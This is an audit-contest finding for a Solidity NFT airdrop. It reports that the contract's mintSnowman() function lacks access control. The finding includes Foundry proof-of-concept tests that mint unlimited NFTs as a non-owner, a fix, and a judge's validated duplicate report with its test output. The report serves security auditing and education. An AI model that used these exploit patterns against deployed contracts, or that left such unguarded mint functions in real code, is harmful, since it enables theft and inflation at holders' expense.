Snowman Merkle Airdrop
AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Missing Access Control on `mintSnowman()` Allows Unlimited Free NFT Minting

bugnetter

Missing Access Control on mintSnowman() Allows Unlimited Free NFT Minting

Description

  • The intended flow requires users to go through SnowmanAirdrop.claimSnowman(), which verifies a Merkle proof, validates an ECDSA signature, and tracks claims to prevent double-claiming. The Snowman contract inherits from OpenZeppelin's Ownable and declares a custom error SM__NotAllowed(), which strongly indicates that access control was intended for the minting function.

  • The Snowman.mintSnowman() function is declared as external with no access restrictions. Calling mintSnowman() directly skips all airdrop checks. Any address can mint an unlimited number of Snowman NFTs for gas cost only.

// Snowman.sol — line 37
function mintSnowman(address receiver, uint256 amount) external {
// @> No onlyOwner modifier, no caller check, no SM__NotAllowed() guard
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}

Risk

Likelihood:

  • Any EOA can call mintSnowman(attackerAddress, arbitraryAmount) directly — no special permissions, timing, or preconditions required

  • The function is public on deployment; exploitation is possible from block 1

Impact:

  • Unlimited free NFT minting — the entire airdrop mechanism (Merkle tree, ECDSA signature verification, claim tracking) is rendered useless

  • Supply inflation destroys scarcity — an attacker minting 10,000 NFTs against a legitimate supply of 100 creates 100x inflation, devaluing holdings for all legitimate airdrop recipients

  • Griefing vector — an attacker can mint NFTs to arbitrary receiver addresses without their consent

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
​
import {Test, console} from "forge-std/Test.sol";
import {Snowman} from "../src/Snowman.sol";
​
contract PocCR004Final is Test {
Snowman snowman;
​
function setUp() public {
snowman = new Snowman("svg");
}
​
function test_VulnerabilityDemo_FINAL() public {
address attacker = makeAddr("attacker");
assertTrue(snowman.owner() != attacker);
​
// Non-owner mints 10 NFTs — should revert but does not
vm.prank(attacker);
snowman.mintSnowman(attacker, 10);
assertEq(snowman.balanceOf(attacker), 10);
​
// Mint again — unlimited, no cap
vm.prank(attacker);
snowman.mintSnowman(attacker, 100);
assertEq(snowman.balanceOf(attacker), 110);
}
​
function test_EconomicAnalysis_FINAL() public {
address attacker = makeAddr("attacker");
​
vm.prank(attacker);
snowman.mintSnowman(attacker, 10_000);
​
uint256 totalSupply = snowman.getTokenCounter();
assertEq(totalSupply, 10_000);
​
// Attacker holds 100% of all minted supply
console.log("Attacker balance:", snowman.balanceOf(attacker));
console.log("Total supply:", totalSupply);
}
}

Recommended Mitigation

- function mintSnowman(address receiver, uint256 amount) external {
+ function mintSnowman(address receiver, uint256 amount) external {
+ if (msg.sender != i_airdropContract) revert SM__NotAllowed();

Option B (simpler): Restrict to owner only with onlyOwner modifier. The above option is more precise because it limits minting to the airdrop contract, which already enforces Merkle proof and ECDSA signature verification. This aligns with the existing SM__NotAllowed() error declaration.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!